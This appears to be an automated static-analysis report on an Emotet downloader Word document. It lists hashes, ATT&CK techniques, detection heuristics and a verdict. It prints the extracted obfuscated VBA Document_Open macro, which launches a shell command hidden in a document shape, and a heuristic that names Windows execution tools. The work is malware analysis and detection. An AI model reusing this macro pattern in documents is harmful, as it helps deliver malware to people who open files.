Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 011f77ecd52643e5…

MALICIOUS

Office (OLE)

68.3 KB Created: 2018-11-07 11:39:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: c769aff719a83c1980a974c95ace67da SHA-1: 80abe8f3d6cbfc7682197f0146f708660715a1a1 SHA-256: 011f77ecd52643e59ea1805398eb17b3a6e39c0294b9b3f843cedeeb3d0aebaf
170 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains a Document_Open VBA macro that executes a heavily obfuscated PowerShell command. This command decodes a Base64 string and uses it to decompress and execute a second-stage payload, likely for downloading further malware. The presence of the 'Emotet' ClamAV signature and the PowerShell execution strongly indicate this is a downloader variant of the Emotet family.

Heuristics 6

  • ClamAV: Doc.Downloader.Sload-6743946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sload-6743946-0
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Document_open()
    On Error Resume Next
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1119 bytes
SHA-256: 0d8bc21b7fa683b85271c95baa79c09d365d753ccc5e5b1276189ad0b1188a05
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "vrMFYIKGf"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
   FormatDateTime (WkRAGZ + opmFZ + hiIMwA + YrhoOi) + cvKSz + amSph + mELbqL + tQJsRj
   FormatNumber UPRwW + diVwZ - cMwKNL + PjaVrm + jhNmwF + qtRvUV - tKVUc + FMkru
   Error YiCclY + otiUF * (PuLTf + OhNQr + WoqSCs + YhCIPN)
   TimeValue htuaKk + wRjBU + mSfPt + cVZFBO / (jUwVsr + CJzWUK) + zwsmSI + TtFcA
   FormatNumber (LHosMd + FAvqK / (BcTIuj + fYjSi))
Const SMkQNQChwj = 537095711 - 537095711
Shell@ Shapes(bqtrd + BLdIhjrw + 1 + IjzqazhQ + maVKG).TextFrame.TextRange.Text + iJCzhULb + lCYncjX, SMkQNQChwj
   FormatNumber fWAtL + TBEapT + jpNmu + aMoPSS - (OkRKrw + jSUdQq)
   TimeValue MuCrU + XjTbN + pZMiiM + caNCN - SjEmTI + jSDRjs + hTBCp + pjiKj + VwXhz + oCBSSw / SVLWWu + pmjIYK
   FormatDateTime SGASK + TiZpob + NqHia + Mjkuj + kVQUkW + XNthO
End Sub